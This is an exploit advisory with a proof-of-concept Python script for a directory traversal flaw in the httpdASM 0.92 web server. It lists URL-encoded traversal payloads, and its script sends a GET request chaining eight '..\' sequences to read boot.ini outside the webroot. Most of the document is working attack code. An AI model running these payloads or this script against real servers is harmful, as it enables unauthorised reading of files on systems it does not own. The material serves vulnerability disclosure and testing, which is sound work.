httpdasm 0.92 - Directory Traversal

# ------------------------------------------------------------------------

# Software................httpdASM 0.92

# Vulnerability...........Directory Traversal

# Download................http://www.japheth.de/httpdASM.html

# Release Date............12/27/2010

# Tested On...............Windows XP

# ------------------------------------------------------------------------

# Author..................John Leitch

# Site....................http://www.johnleitch.net/

# [email protected]

# ------------------------------------------------------------------------

# 

# --Description--
# 
# A directory traversal vulnerability in httpdASM 0.92 can be exploited
# to read files outside of the webroot directory.
# 
# 
# --Exploit--
# 
# %2E%2E%5C
# %2E%2E%2F
# 
# 
# --PoC--



import socket

host = 'localhost'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(8)
s.connect((host, port))
s.send('GET /' + '%2E%2E%5C' * 8 + 'boot.ini HTTP/1.1\r\n'
       'Host: ' + host + '\r\n\r\n');

print s.recv(8192);